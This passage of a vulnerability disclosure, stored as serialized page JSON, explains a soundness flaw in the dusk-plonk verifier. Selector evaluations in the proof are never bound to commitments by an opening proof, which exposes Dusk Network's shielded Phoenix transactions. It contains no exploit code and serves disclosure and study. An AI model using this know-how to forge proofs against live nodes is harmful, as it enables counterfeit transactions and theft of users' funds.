ildren":144402},{"className":144401},[21703],[144403],{"type":28,"value":1737},{"type":23,"tag":41,"props":144405,"children":144407},{"className":144406,"style":113322},[4012,21574],[144408],{"type":28,"value":113325},{"type":23,"tag":41,"props":144410,"children":144412},{"className":144411},[21725],[144413],{"type":28,"value":2678},{"type":28,"value":970},{"type":23,"tag":37,"props":144416,"children":144418},{"className":144417},[3984,3985],[144419],{"type":23,"tag":41,"props":144420,"children":144422},{"className":144421},[3990],[144423],{"type":23,"tag":41,"props":144424,"children":144426},{"className":144425,"ariaHidden":3996},[3995],[144427],{"type":23,"tag":41,"props":144428,"children":144430},{"className":144429},[4001],[144431,144435,144440,144445,144450,144456],{"type":23,"tag":41,"props":144432,"children":144434},{"className":144433,"style":4113},[4006],[],{"type":23,"tag":41,"props":144436,"children":144438},{"className":144437},[4012,21574],[144439],{"type":28,"value":458},{"type":23,"tag":41,"props":144441,"children":144443},{"className":144442},[21703],[144444],{"type":28,"value":1737},{"type":23,"tag":41,"props":144446,"children":144448},{"className":144447,"style":113322},[4012,21574],[144449],{"type":28,"value":113325},{"type":23,"tag":41,"props":144451,"children":144453},{"className":144452,"style":93251},[4012,21574],[144454],{"type":28,"value":144455},"ω",{"type":23,"tag":41,"props":144457,"children":144459},{"className":144458},[21725],[144460],{"type":28,"value":2678},{"type":28,"value":144462},"), which are safe because the opening binds them to previously committed polynomials. A third category consists of verifier-key commitments used directly in the linearization multiscalar multiplication (",{"type":23,"tag":37,"props":144464,"children":144466},{"className":144465},[3984,3985],[144467],{"type":23,"tag":41,"props":144468,"children":144470},{"className":144469},[3990],[144471],{"type":23,"tag":41,"props":144472,"children":144474},{"className":144473,"ariaHidden":3996},[3995],[144475],{"type":23,"tag":41,"props":144476,"children":144478},{"className":144477},[4001],[144479,144483,144488,144545],{"type":23,"tag":41,"props":144480,"children":144482},{"className":144481,"style":4113},[4006],[],{"type":23,"tag":41,"props":144484,"children":144486},{"className":144485},[21703],[144487],{"type":28,"value":312},{"type":23,"tag":41,"props":144489,"children":144491},{"className":144490},[4012],[144492,144497],{"type":23,"tag":41,"props":144493,"children":144495},{"className":144494,"style":93251},[4012,21574],[144496],{"type":28,"value":93254},{"type":23,"tag":41,"props":144498,"children":144500},{"className":144499},[4028],[144501],{"type":23,"tag":41,"props":144502,"children":144504},{"className":144503},[4033,21628],[144505,144534],{"type":23,"tag":41,"props":144506,"children":144508},{"className":144507},[4038],[144509,144529],{"type":23,"tag":41,"props":144510,"children":144512},{"className":144511,"style":142320},[4043],[144513],{"type":23,"tag":41,"props":144514,"children":144515},{"style":93298},[144516,144520],{"type":23,"tag":41,"props":144517,"children":144519},{"className":144518,"style":4053},[4052],[],{"type":23,"tag":41,"props":144521,"children":144523},{"className":144522},[4058,4059,4060,4061],[144524],{"type":23,"tag":41,"props":144525,"children":144527},{"className":144526,"style":94773},[4012,21574,4061],[144528],{"type":28,"value":94776},{"type":23,"tag":41,"props":144530,"children":144532},{"className":144531},[21731],[144533],{"type":28,"value":21734},{"type":23,"tag":41,"props":144535,"children":144537},{"className":144536},[4038],[144538],{"type":23,"tag":41,"props":144539,"children":144541},{"className":144540,"style":92848},[4043],[144542],{"type":23,"tag":41,"props":144543,"children":144544},{},[],{"type":23,"tag":41,"props":144546,"children":144548},{"className":144547},[21725],[144549],{"type":28,"value":15402},{"type":28,"value":970},{"type":23,"tag":37,"props":144552,"children":144554},{"className":144553},[3984,3985],[144555],{"type":23,"tag":41,"props":144556,"children":144558},{"className":144557},[3990],[144559],{"type":23,"tag":41,"props":144560,"children":144562},{"className":144561,"ariaHidden":3996},[3995],[144563],{"type":23,"tag":41,"props":144564,"children":144566},{"className":144565},[4001],[144567,144571,144576,144633],{"type":23,"tag":41,"props":144568,"children":144570},{"className":144569,"style":4113},[4006],[],{"type":23,"tag":41,"props":144572,"children":144574},{"className":144573},[21703],[144575],{"type":28,"value":312},{"type":23,"tag":41,"props":144577,"children":144579},{"className":144578},[4012],[144580,144585],{"type":23,"tag":41,"props":144581,"children":144583},{"className":144582,"style":93251},[4012,21574],[144584],{"type":28,"value":93254},{"type":23,"tag":41,"props":144586,"children":144588},{"className":144587},[4028],[144589],{"type":23,"tag":41,"props":144590,"children":144592},{"className":144591},[4033,21628],[144593,144622],{"type":23,"tag":41,"props":144594,"children":144596},{"className":144595},[4038],[144597,144617],{"type":23,"tag":41,"props":144598,"children":144600},{"className":144599,"style":142320},[4043],[144601],{"type":23,"tag":41,"props":144602,"children":144603},{"style":93298},[144604,144608],{"type":23,"tag":41,"props":144605,"children":144607},{"className":144606,"style":4053},[4052],[],{"type":23,"tag":41,"props":144609,"children":144611},{"className":144610},[4058,4059,4060,4061],[144612],{"type":23,"tag":41,"props":144613,"children":144615},{"className":144614,"style":92765},[4012,21574,4061],[144616],{"type":28,"value":115084},{"type":23,"tag":41,"props":144618,"children":144620},{"className":144619},[21731],[144621],{"type":28,"value":21734},{"type":23,"tag":41,"props":144623,"children":144625},{"className":144624},[4038],[144626],{"type":23,"tag":41,"props":144627,"children":144629},{"className":144628,"style":92848},[4043],[144630],{"type":23,"tag":41,"props":144631,"children":144632},{},[],{"type":23,"tag":41,"props":144634,"children":144636},{"className":144635},[21725],[144637],{"type":28,"value":15402},{"type":28,"value":970},{"type":23,"tag":37,"props":144640,"children":144642},{"className":144641},[3984,3985],[144643],{"type":23,"tag":41,"props":144644,"children":144646},{"className":144645},[3990],[144647],{"type":23,"tag":41,"props":144648,"children":144650},{"className":144649,"ariaHidden":3996},[3995],[144651],{"type":23,"tag":41,"props":144652,"children":144654},{"className":144653},[4001],[144655,144659,144664,144721],{"type":23,"tag":41,"props":144656,"children":144658},{"className":144657,"style":4113},[4006],[],{"type":23,"tag":41,"props":144660,"children":144662},{"className":144661},[21703],[144663],{"type":28,"value":312},{"type":23,"tag":41,"props":144665,"children":144667},{"className":144666},[4012],[144668,144673],{"type":23,"tag":41,"props":144669,"children":144671},{"className":144670,"style":93251},[4012,21574],[144672],{"type":28,"value":144350},{"type":23,"tag":41,"props":144674,"children":144676},{"className":144675},[4028],[144677],{"type":23,"tag":41,"props":144678,"children":144680},{"className":144679},[4033,21628],[144681,144710],{"type":23,"tag":41,"props":144682,"children":144684},{"className":144683},[4038],[144685,144705],{"type":23,"tag":41,"props":144686,"children":144688},{"className":144687,"style":92817},[4043],[144689],{"type":23,"tag":41,"props":144690,"children":144691},{"style":93298},[144692,144696],{"type":23,"tag":41,"props":144693,"children":144695},{"className":144694,"style":4053},[4052],[],{"type":23,"tag":41,"props":144697,"children":144699},{"className":144698},[4058,4059,4060,4061],[144700],{"type":23,"tag":41,"props":144701,"children":144703},{"className":144702},[4012,4061],[144704],{"type":28,"value":17515},{"type":23,"tag":41,"props":144706,"children":144708},{"className":144707},[21731],[144709],{"type":28,"value":21734},{"type":23,"tag":41,"props":144711,"children":144713},{"className":144712},[4038],[144714],{"type":23,"tag":41,"props":144715,"children":144717},{"className":144716,"style":92848},[4043],[144718],{"type":23,"tag":41,"props":144719,"children":144720},{},[],{"type":23,"tag":41,"props":144722,"children":144724},{"className":144723},[21725],[144725],{"type":28,"value":15402},{"type":28,"value":144727},"), which are safe because the verifier never trusts a bare field element for these; it uses the commitment itself.",{"type":23,"tag":24,"props":144729,"children":144730},{},[144731],{"type":28,"value":144732},"Any term that falls outside those three categories is attacker-controlled by construction.",{"type":23,"tag":442,"props":144734,"children":144735},{},[],{"type":23,"tag":446,"props":144737,"children":144739},{"id":144738},"where-dusk-plonk-differs-from-textbook-plonk",[144740],{"type":28,"value":144741},"Where dusk-plonk differs from textbook PLONK",{"type":23,"tag":24,"props":144743,"children":144744},{},[144745,144754,144756,144761,144763,144793],{"type":23,"tag":458,"props":144746,"children":144748},{"href":141620,"rel":144747},[462],[144749],{"type":23,"tag":37,"props":144750,"children":144752},{"className":144751},[],[144753],{"type":28,"value":141624},{"type":28,"value":144755}," is not a literal transcription of the 2019 PLONK paper. It extends the arithmetic gate with a fourth wire ",{"type":23,"tag":37,"props":144757,"children":144759},{"className":144758},[],[144760],{"type":28,"value":70559},{"type":28,"value":144762},", adds custom widgets for range, logic, and elliptic-curve operations, uses shifted evaluations at ",{"type":23,"tag":37,"props":144764,"children":144766},{"className":144765},[3984,3985],[144767],{"type":23,"tag":41,"props":144768,"children":144770},{"className":144769},[3990],[144771],{"type":23,"tag":41,"props":144772,"children":144774},{"className":144773,"ariaHidden":3996},[3995],[144775],{"type":23,"tag":41,"props":144776,"children":144778},{"className":144777},[4001],[144779,144783,144788],{"type":23,"tag":41,"props":144780,"children":144782},{"className":144781,"style":110606},[4006],[],{"type":23,"tag":41,"props":144784,"children":144786},{"className":144785,"style":113322},[4012,21574],[144787],{"type":28,"value":113325},{"type":23,"tag":41,"props":144789,"children":144791},{"className":144790,"style":93251},[4012,21574],[144792],{"type":28,"value":144455},{"type":28,"value":144794},", and heavily batches KZG openings. None of that is exotic by modern PLONK standards, but it does make the verifier harder to reason about than the minimal paper presentation.",{"type":23,"tag":24,"props":144796,"children":144797},{},[144798,144800,144805,144806,144811,144813,144819,144821,144828],{"type":28,"value":144799},"The important part for this bug is the boundary between ",{"type":23,"tag":510,"props":144801,"children":144802},{},[144803],{"type":28,"value":144804},"public circuit data",{"type":28,"value":1361},{"type":23,"tag":510,"props":144807,"children":144808},{},[144809],{"type":28,"value":144810},"prover claims about that data at the random challenge point",{"type":28,"value":144812},". Parallel implementations avoid this ambiguity by keeping selector polynomials strictly out of the prover's hands. For example, Consensys' gnark (one of the most widely deployed PLONK implementations) never asks the prover for selector evaluations at all. Instead, the verifier incorporates the selector commitments ",{"type":23,"tag":37,"props":144814,"children":144816},{"className":144815},[],[144817],{"type":28,"value":144818},"Ql, Qr, Qm, Qo, Qk",{"type":28,"value":144820}," directly into the ",{"type":23,"tag":458,"props":144822,"children":144825},{"href":144823,"rel":144824},"https://github.com/Consensys/gnark/blob/17b079f1b813d9dafd465202466b09f282b4c5e9/backend/plonk/bls12-381/verify.go#L253-L270",[462],[144826],{"type":28,"value":144827},"linearization multi-scalar multiplication",{"type":28,"value":144829},", ensuring their values are cryptographically bound by construction.",{"type":23,"tag":24,"props":144831,"children":144832},{},[144833,144835,144860],{"type":28,"value":144834},"Dusk's custom widgets were more complex (multiplying selectors with other evaluated terms), so they could not just use a simple linear combination of commitments. Their architecture required evaluating the selectors at ",{"type":23,"tag":37,"props":144836,"children":144838},{"className":144837},[3984,3985],[144839],{"type":23,"tag":41,"props":144840,"children":144842},{"className":144841},[3990],[144843],{"type":23,"tag":41,"props":144844,"children":144846},{"className":144845,"ariaHidden":3996},[3995],[144847],{"type":23,"tag":41,"props":144848,"children":144850},{"className":144849},[4001],[144851,144855],{"type":23,"tag":41,"props":144852,"children":144854},{"className":144853,"style":110606},[4006],[],{"type":23,"tag":41,"props":144856,"children":144858},{"className":144857,"style":113322},[4012,21574],[144859],{"type":28,"value":113325},{"type":28,"value":144861}," and using those scalars. But while they serialized those four selector evaluations into the proof struct, they never actually verified them against the verifier key's commitments through an opening proof.",{"type":23,"tag":24,"props":144863,"children":144864},{},[144865],{"type":28,"value":144866},"The shortest way to see the bug is the graph below: safe values flow through the opening path toward the final pairing check, while the red selector flow enters verifier logic without ever touching an opening proof.",{"type":23,"tag":144868,"props":144869,"children":144870},"dusk-verifier-dependence-graph",{},[],{"type":23,"tag":442,"props":144872,"children":144873},{},[],{"type":23,"tag":446,"props":144875,"children":144877},{"id":144876},"how-dusk-uses-plonk",[144878],{"type":28,"value":144879},"How Dusk uses PLONK",{"type":23,"tag":24,"props":144881,"children":144882},{},[144883,144889],{"type":23,"tag":458,"props":144884,"children":144886},{"href":141629,"rel":144885},[462],[144887],{"type":28,"value":144888},"Dusk Network",{"type":28,"value":144890}," is a privacy-focused L1 blockchain. Its transaction model has two modes:",{"type":23,"tag":417,"props":144892,"children":144893},{},[144894,144899],{"type":23,"tag":421,"props":144895,"children":144896},{},[144897],{"type":28,"value":144898},"Phoenix (shielded): amounts and participants are hidden using ZK proofs, and every Phoenix transaction carries a PLONK proof that the transaction is valid.",{"type":23,"tag":421,"props":144900,"children":144901},{},[144902],{"type":28,"value":144903},"Moonlight (transparent): standard account-based transactions verified by BLS signatures, with no PLONK involvement.",{"type":23,"tag":24,"props":144905,"children":144906},{},[144907,144909,144920,144922,144933],{"type":28,"value":144908},"At node level, every ",{"type":23,"tag":458,"props":144910,"children":144913},{"href":144911,"rel":144912},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/node/vm.rs#L152-L185",[462],[144914],{"type":23,"tag":37,"props":144915,"children":144917},{"className":144916},[],[144918],{"type":28,"value":144919},"ProtocolTransaction::Phoenix",{"type":28,"value":144921}," goes through ",{"type":23,"tag":458,"props":144923,"children":144926},{"href":144924,"rel":144925},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/rusk/src/lib/verifier.rs#L71-L82",[462],[144927],{"type":23,"tag":37,"props":144928,"children":144930},{"className":144929},[],[144931],{"type":28,"value":144932},"verify_proof_with_version()",{"type":28,"value":144934}," during preverification. If that PLONK proof verifies, the transaction is admitted to the mempool and can later be mined into a block. Moonlight-path transactions instead go through BLS signature verification.",{"type":23,"tag":24,"props":144936,"children":144937},{},[144938,144940,144951,144953,144964,144965,144976,144977,144988,144989,145000],{"type":28,"value":144939},"That same Phoenix proof path covers more than simple shielded transfers. Phoenix-path staking, reward withdrawals, unstaking, and Phoenix-to-Moonlight conversion all build a Phoenix transaction via ",{"type":23,"tag":458,"props":144941,"children":144944},{"href":144942,"rel":144943},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L54-L95",[462],[144945],{"type":23,"tag":37,"props":144946,"children":144948},{"className":144947},[],[144949],{"type":28,"value":144950},"phoenix()",{"type":28,"value":144952},", for example in ",{"type":23,"tag":458,"props":144954,"children":144957},{"href":144955,"rel":144956},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L144-L186",[462],[144958],{"type":23,"tag":37,"props":144959,"children":144961},{"className":144960},[],[144962],{"type":28,"value":144963},"phoenix_stake()",{"type":28,"value":970},{"type":23,"tag":458,"props":144966,"children":144969},{"href":144967,"rel":144968},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L240-L298",[462],[144970],{"type":23,"tag":37,"props":144971,"children":144973},{"className":144972},[],[144974],{"type":28,"value":144975},"phoenix_stake_reward()",{"type":28,"value":970},{"type":23,"tag":458,"props":144978,"children":144981},{"href":144979,"rel":144980},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L358-L416",[462],[144982],{"type":23,"tag":37,"props":144983,"children":144985},{"className":144984},[],[144986],{"type":28,"value":144987},"phoenix_unstake()",{"type":28,"value":6486},{"type":23,"tag":458,"props":144990,"children":144993},{"href":144991,"rel":144992},"https://github.com/dusk-network/rusk/blob/264c1ec0f4c005ef043b87deb1c866035e034330/wallet-core/src/transaction.rs#L481-L539",[462],[144994],{"type":23,"tag":37,"props":144995,"children":144997},{"className":144996},[],[144998],{"type":28,"value":144999},"phoenix_to_moonlight()",{"type":28,"value":145001},". So if Phoenix proof verification is unsound, the entire shielded transaction path is exposed.",{"type":23,"tag":24,"props":145003,"children":145004},{},[145005],{"type":23,"tag":3918,"props":145006,"children":145009},{"alt":145007,"src":145008},"phoenix_moonlight","/posts/dusk-commitment-issues/phoenix_moonlight.svg",[],{"type":23,"tag":24,"props":145011,"children":145012},{},[145013,145015,145021,145023,145030],{"type":28,"value":145014},"The PLONK implementation, ",{"type":23,"tag":458,"props":145016,"children":145019},{"href":145017,"rel":145018},"https://github.com/dusk-network/plonk",[462],[145020],{"type":28,"value":141624},{"type":28,"value":145022},", is a standalone library by the Dusk team. It was among the first PLONK implementations written, with development starting the same year ",{"type":23,"tag":458,"props":145024,"children":145027},{"href":145025,"rel":145026},"https://eprint.iacr.org/archive/2019/953/1566424053.pdf",[462],[145028],{"type":28,"value":145029},"the original paper",{"type":28,"value":145031}," was released.",{"type":23,"tag":24,"props":145033,"children":145034},{},[145035,145037,145043],{"type":28,"value":145036},"The Phoenix transaction PLONK circuit is defined ",{"type":23,"tag":458,"props":145038,"children":145041},{"href":145039,"rel":145040},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L20-L205",[462],[145042],{"type":28,"value":47578},{"type":28,"value":145044},". The circuit enforces the following set of constraints:",{"type":23,"tag":55740,"props":145046,"children":145047},{},[145048,145064],{"type":23,"tag":122716,"props":145049,"children":145050},{},[145051],{"type":23,"tag":122720,"props":145052,"children":145053},{},[145054,145059],{"type":23,"tag":122724,"props":145055,"children":145056},{},[145057],{"type":28,"value":145058},"Circuit check",{"type":23,"tag":122724,"props":145060,"children":145061},{},[145062],{"type":28,"value":145063},"Statement being checked",{"type":23,"tag":122744,"props":145065,"children":145066},{},[145067,145085,145103,145121,145139,145296,145436,145454],{"type":23,"tag":122720,"props":145068,"children":145069},{},[145070,145080],{"type":23,"tag":122751,"props":145071,"children":145072},{},[145073],{"type":23,"tag":458,"props":145074,"children":145077},{"href":145075,"rel":145076},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L106-L126",[462],[145078],{"type":28,"value":145079},"Merkle tree membership",{"type":23,"tag":122751,"props":145081,"children":145082},{},[145083],{"type":28,"value":145084},"Each input note hash is opened against the public Merkle root, so only notes already in the note tree may be spent",{"type":23,"tag":122720,"props":145086,"children":145087},{},[145088,145098],{"type":23,"tag":122751,"props":145089,"children":145090},{},[145091],{"type":23,"tag":458,"props":145092,"children":145095},{"href":145093,"rel":145094},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L70-L79",[462],[145096],{"type":28,"value":145097},"Input-note secret-key authorization",{"type":23,"tag":122751,"props":145099,"children":145100},{},[145101],{"type":28,"value":145102},"The prover knows the secret key controlling each input note",{"type":23,"tag":122720,"props":145104,"children":145105},{},[145106,145116],{"type":23,"tag":122751,"props":145107,"children":145108},{},[145109],{"type":23,"tag":458,"props":145110,"children":145113},{"href":145111,"rel":145112},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L81-L87",[462],[145114],{"type":28,"value":145115},"Nullifier correctness",{"type":23,"tag":122751,"props":145117,"children":145118},{},[145119],{"type":28,"value":145120},"Each nullifier matches the corresponding note key and position",{"type":23,"tag":122720,"props":145122,"children":145123},{},[145124,145134],{"type":23,"tag":122751,"props":145125,"children":145126},{},[145127],{"type":23,"tag":458,"props":145128,"children":145131},{"href":145129,"rel":145130},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L149-L160",[462],[145132],{"type":28,"value":145133},"Output value commitment correctness",{"type":23,"tag":122751,"props":145135,"children":145136},{},[145137],{"type":28,"value":145138},"Each public output commitment matches the secret output value and blinder",{"type":23,"tag":122720,"props":145140,"children":145141},{},[145142,145152],{"type":23,"tag":122751,"props":145143,"children":145144},{},[145145],{"type":23,"tag":458,"props":145146,"children":145149},{"href":145147,"rel":145148},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L167-L178",[462],[145150],{"type":28,"value":145151},"Balance integrity",{"type":23,"tag":122751,"props":145153,"children":145154},{},[145155],{"type":23,"tag":37,"props":145156,"children":145158},{"className":145157},[3984,3985],[145159],{"type":23,"tag":41,"props":145160,"children":145162},{"className":145161},[3990],[145163],{"type":23,"tag":41,"props":145164,"children":145166},{"className":145165,"ariaHidden":3996},[3995],[145167,145207,145247,145279],{"type":23,"tag":41,"props":145168,"children":145170},{"className":145169},[4001],[145171,145175,145180,145184,145194,145198,145203],{"type":23,"tag":41,"props":145172,"children":145174},{"className":145173,"style":4113},[4006],[],{"type":23,"tag":41,"props":145176,"children":145178},{"className":145177,"style":21617},[21610,21615,21616],[145179],{"type":28,"value":108560},{"type":23,"tag":41,"props":145181,"children":145183},{"className":145182,"style":4131},[4092],[],{"type":23,"tag":41,"props":145185,"children":145187},{"className":145186},[4012,28],[145188],{"type":23,"tag":41,"props":145189,"children":145191},{"className":145190},[4012],[145192],{"type":28,"value":145193},"inputs",{"type":23,"tag":41,"props":145195,"children":145197},{"className":145196,"style":4190},[4092],[],{"type":23,"tag":41,"props":145199,"children":145201},{"className":145200},[4195],[145202],{"type":28,"value":2381},{"type":23,"tag":41,"props":145204,"children":145206},{"className":145205,"style":4190},[4092],[],{"type":23,"tag":41,"props":145208,"children":145210},{"className":145209},[4001],[145211,145215,145220,145224,145234,145238,145243],{"type":23,"tag":41,"props":145212,"children":145214},{"className":145213,"style":4113},[4006],[],{"type":23,"tag":41,"props":145216,"children":145218},{"className":145217,"style":21617},[21610,21615,21616],[145219],{"type":28,"value":108560},{"type":23,"tag":41,"props":145221,"children":145223},{"className":145222,"style":4131},[4092],[],{"type":23,"tag":41,"props":145225,"children":145227},{"className":145226},[4012,28],[145228],{"type":23,"tag":41,"props":145229,"children":145231},{"className":145230},[4012],[145232],{"type":28,"value":145233},"outputs",{"type":23,"tag":41,"props":145235,"children":145237},{"className":145236,"style":4093},[4092],[],{"type":23,"tag":41,"props":145239,"children":145241},{"className":145240},[4098],[145242],{"type":28,"value":4383},{"type":23,"tag":41,"props":145244,"children":145246},{"className":145245,"style":4093},[4092],[],{"type":23,"tag":41,"props":145248,"children":145250},{"className":145249},[4001],[145251,145256,145266,145270,145275],{"type":23,"tag":41,"props":145252,"children":145255},{"className":145253,"style":145254},[4006],"height:0.7778em;vertical-align:-0.0833em;",[],{"type":23,"tag":41,"props":145257,"children":145259},{"className":145258},[4012,28],[145260],{"type":23,"tag":41,"props":145261,"children":145263},{"className":145262},[4012],[145264],{"type":28,"value":145265},"fee",{"type":23,"tag":41,"props":145267,"children":145269},{"className":145268,"style":4093},[4092],[],{"type":23,"tag":41,"props":145271,"children":145273},{"className":145272},[4098],[145274],{"type":28,"value":4383},{"type":23,"tag":41,"props":145276,"children":145278},{"className":145277,"style":4093},[4092],[],{"type":23,"tag":41,"props":145280,"children":145282},{"className":145281},[4001],[145283,145287],{"type":23,"tag":41,"props":145284,"children":145286},{"className":145285,"style":114820},[4006],[],{"type":23,"tag":41,"props":145288,"children":145290},{"className":145289},[4012,28],[145291],{"type":23,"tag":41,"props":145292,"children":145294},{"className":145293},[4012],[145295],{"type":28,"value":61958},{"type":23,"tag":122720,"props":145297,"children":145298},{},[145299,145316],{"type":23,"tag":122751,"props":145300,"children":145301},{},[145302,145309,145310],{"type":23,"tag":458,"props":145303,"children":145306},{"href":145304,"rel":145305},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L89-L90",[462],[145307],{"type":28,"value":145308},"Range checks on inputs",{"type":28,"value":1361},{"type":23,"tag":458,"props":145311,"children":145314},{"href":145312,"rel":145313},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/circuit_impl.rs#L141-L142",[462],[145315],{"type":28,"value":145233},{"type":23,"tag":122751,"props":145317,"children":145318},{},[145319,145321],{"type":28,"value":145320},"All note values lie in ",{"type":23,"tag":37,"props":145322,"children":145324},{"className":145323},[3984,3985],[145325],{"type":23,"tag":41,"props":145326,"children":145328},{"className":145327},[3990],[145329],{"type":23,"tag":41,"props":145330,"children":145332},{"className":145331,"ariaHidden":3996},[3995],[145333,145418],{"type":23,"tag":41,"props":145334,"children":145336},{"className":145335},[4001],[145337,145341,145346,145351,145356,145360,145405,145409,145414],{"type":23,"tag":41,"props":145338,"children":145340},{"className":145339,"style":115077},[4006],[],{"type":23,"tag":41,"props":145342,"children":145344},{"className":145343},[21703],[145345],{"type":28,"value":312},{"type":23,"tag":41,"props":145347,"children":145349},{"className":145348},[4012],[145350],{"type":28,"value":4024},{"type":23,"tag":41,"props":145352,"children":145354},{"className":145353},[4124],[145355],{"type":28,"value":4127},{"type":23,"tag":41,"props":145357,"children":145359},{"className":145358,"style":4131},[4092],[],{"type":23,"tag":41,"props":145361,"children":145363},{"className":145362},[4012],[145364,145369],{"type":23,"tag":41,"props":145365,"children":145367},{"className":145366},[4012],[145368],{"type":28,"value":3123},{"type":23,"tag":41,"props":145370,"children":145372},{"className":145371},[4028],[145373],{"type":23,"tag":41,"props":145374,"children":145376},{"className":145375},[4033],[145377],{"type":23,"tag":41,"props":145378,"children":145380},{"className":145379},[4038],[145381],{"type":23,"tag":41,"props":145382,"children":145384},{"className":145383,"style":4007},[4043],[145385],{"type":23,"tag":41,"props":145386,"children":145387},{"style":4047},[145388,145392],{"type":23,"tag":41,"props":145389,"children":145391},{"className":145390,"style":4053},[4052],[],{"type":23,"tag":41,"props":145393,"children":145395},{"className":145394},[4058,4059,4060,4061],[145396],{"type":23,"tag":41,"props":145397,"children":145399},{"className":145398},[4012,4061],[145400],{"type":23,"tag":41,"props":145401,"children":145403},{"className":145402},[4012,4061],[145404],{"type":28,"value":29419},{"type":23,"tag":41,"props":145406,"children":145408},{"className":145407,"style":4093},[4092],[],{"type":23,"tag":41,"props":145410,"children":145412},{"className":145411},[4098],[145413],{"type":28,"value":4072},{"type":23,"tag":41,"props":145415,"children":145417},{"className":145416,"style":4093},[4092],[],{"type":23,"tag":41,"props":145419,"children":145421},{"className":145420},[4001],[145422,145426,145431],{"type":23,"tag":41,"props":145423,"children":145425},{"className":145424,"style":4113},[4006],[],{"type":23,"tag":41,"props":145427,"children":145429},{"className":145428},[4012],[145430],{"type":28,"value":317},{"type":23,"tag":41,"props":145432,"children":145434},{"className":145433},[21725],[145435],{"type":28,"value":15402},{"type":23,"tag":122720,"props":145437,"children":145438},{},[145439,145449],{"type":23,"tag":122751,"props":145440,"children":145441},{},[145442],{"type":23,"tag":458,"props":145443,"children":145446},{"href":145444,"rel":145445},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L28-L51",[462],[145447],{"type":28,"value":145448},"Sender-authorship signatures",{"type":23,"tag":122751,"props":145450,"children":145451},{},[145452],{"type":28,"value":145453},"The transaction payload is signed by the sender's two signing key components",{"type":23,"tag":122720,"props":145455,"children":145456},{},[145457,145467],{"type":23,"tag":122751,"props":145458,"children":145459},{},[145460],{"type":23,"tag":458,"props":145461,"children":145464},{"href":145462,"rel":145463},"https://github.com/dusk-network/phoenix/blob/1bb89b289b3d32115c49fdf80f7f4164578a283a/circuits/src/sender_enc.rs#L63-L121",[462],[145465],{"type":28,"value":145466},"Sender encryption correctness",{"type":23,"tag":122751,"props":145468,"children":145469},{},[145470],{"type":28,"value":145471},"The sender data attached to each output note is a correct ElGamal encryption under the recipient note key",{"type":23,"tag":24,"props":145473,"children":145474},{},[145475,145477,145483,145485,145494],{"type":28,"value":145476},"Rusk does not consume these claims one by one. It consumes a single valid/invalid proof verdict over ",{"type":23,"tag":37,"props":145478,"children":145480},{"className":145479},[],[145481],{"type":28,"value":145482},"tx.public_inputs()",{"type":28,"value":145484}," via ",{"type":23,"tag":458,"props":145486,"children":145488},{"href":144924,"rel":145487},[462],[145489],{"type":23,"tag":37,"props":145490,"children":145492},{"className":145491},[],[145493],{"type":28,"value":144932},{"type":28,"value":706},{"type":23,"tag":24,"props":145496,"children":145497},{},[145498],{"type":28,"value":145499},"A soundness break in PLONK voids all of these constraints simultaneously, because forged selector evaluations make the entire circuit unconstrained rather than targeting any single check.",{"type":23,"tag":442,"props":145501,"children":145502},{},[],{"type":23,"tag":446,"props":145504,"children":145505},{"id":616},[145506],{"type":28,"value":145507},"The bug",{"type":23,"tag":24,"props":145509,"children":145510},{},[145511,145513,145520,145522,145533],{"type":28,"value":145512},"In the ",{"type":23,"tag":458,"props":145514,"children":145517},{"href":145515,"rel":145516},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L400",[462],[145518],{"type":28,"value":145519},"PLONK verification",{"type":28,"value":145521},", the verifier batches polynomial evaluations into a single KZG opening proof check. The evaluations included in this batch (committed via ",{"type":23,"tag":458,"props":145523,"children":145526},{"href":145524,"rel":145525},"https://github.com/dusk-network/plonk/blob/82c08e8f11f2db774e4e8d28e6ba7ef833cbff25/src/proof_system/proof.rs#L362-L373",[462],[145527],{"type":23,"tag":37,"props":145528,"children":145530},{"className":145529},[],[145531],{"type":28,"value":145532},"E_evals",{"type":28,"value":145534},") are:",{"type":23,"tag":417,"props":145536,"children":145537},{},[145538,145570,145595,145620],{"type":23,"tag":421,"props":145539,"children":145540},{},[145541,145547,145548,145554,145555,145561,145562,145568],{"type":23,"tag":37,"props":145542,"children":145544},{"className":145543},[],[145545],{"type":28,"value":145546},"a_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145549,"children":145551},{"className":145550},[],[145552],{"type":28,"value":145553},"b_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145556,"children":145558},{"className":145557},[],[145559],{"type":28,"value":145560},"c_eval",{"type":28,"value":970},{"type":23,"tag":37,"props":145563,"children":145565},{"className":145564},[],[145566],{"type":28,"value":145567},"d_eval",{"type":28,"value":145569}," 